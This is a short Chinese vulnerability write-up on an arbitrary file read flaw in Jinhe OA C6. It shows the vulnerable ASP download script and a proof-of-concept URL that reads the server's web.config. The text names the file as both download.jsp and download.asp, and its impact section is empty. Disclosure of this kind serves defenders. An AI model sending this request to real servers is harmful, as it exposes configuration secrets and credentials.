# 金和OA C6 download.jsp 任意文件读取漏洞
# 漏洞描述
金和OA C6 download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息
# 漏洞影响
# 网络测绘
# 漏洞复现
登录页面如下
漏洞文件为 download.asp
<%
Response.Buffer = true
Response.Clear
dim url
Dim fso,fl,flsize
dim Dname
Dim objStream,ContentType,flName,isre,url1
'*********************************************调用时传入的下载文件名
Dname=trim(request("filename"))
'******************************************************************
If Dname<>"" Then
'******************************下载文件存放的服务端目录
url=server.MapPath(Dname)
'url=server.MapPath("./")&"\Jhsoft.Web.module\testbill\dj"&Dname '这边做了一下改动By Fanshui
'***************************************************
End If
'Response.write url
'response.end
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set fl=fso.getfile(url)
flsize=fl.size
flName=fl.name
Set fl=Nothing
Set fso=Nothing
'Response.write flName
'Response.write flsize
%>
<%
Set objStream = Server.CreateObject("ADODB.Stream")
'objStream.Mode = 3
objStream.Type = 1
objStream.Open
objStream.LoadFromFile url
Select Case lcase(Right(flName, 4))
Case ".asf"
ContentType = "video/x-ms-asf"
Case ".avi"
ContentType = "video/avi"
Case ".doc"
ContentType = "application/msword"
Case ".zip"
ContentType = "application/zip"
Case ".xls"
ContentType = "application/vnd.ms-excel"
Case ".gif"
ContentType = "image/gif"
Case ".jpg", "jpeg"
ContentType = "image/jpeg"
Case ".wav"
ContentType = "audio/wav"
Case ".mp3"
ContentType = "audio/mpeg3"
Case ".mpg", "mpeg"
ContentType = "video/mpeg"
Case ".rtf"
ContentType = "application/rtf"
Case ".htm", "html"
ContentType = "text/html"
Case ".txt"
ContentType = "text/plain"
Case Else
ContentType = "application/octet-stream"
End Select
Response.AddHeader "Content-Disposition", "attachment; filename=" & flName
Response.AddHeader "Content-Length", flsize
Response.Charset = "UTF-8"
Response.ContentType = ContentType
Response.BinaryWrite objStream.Read
Response.Flush
response.Clear()
objStream.Close
Set objStream = Nothing
%>
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请求的POC为
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
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读取 web.config
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
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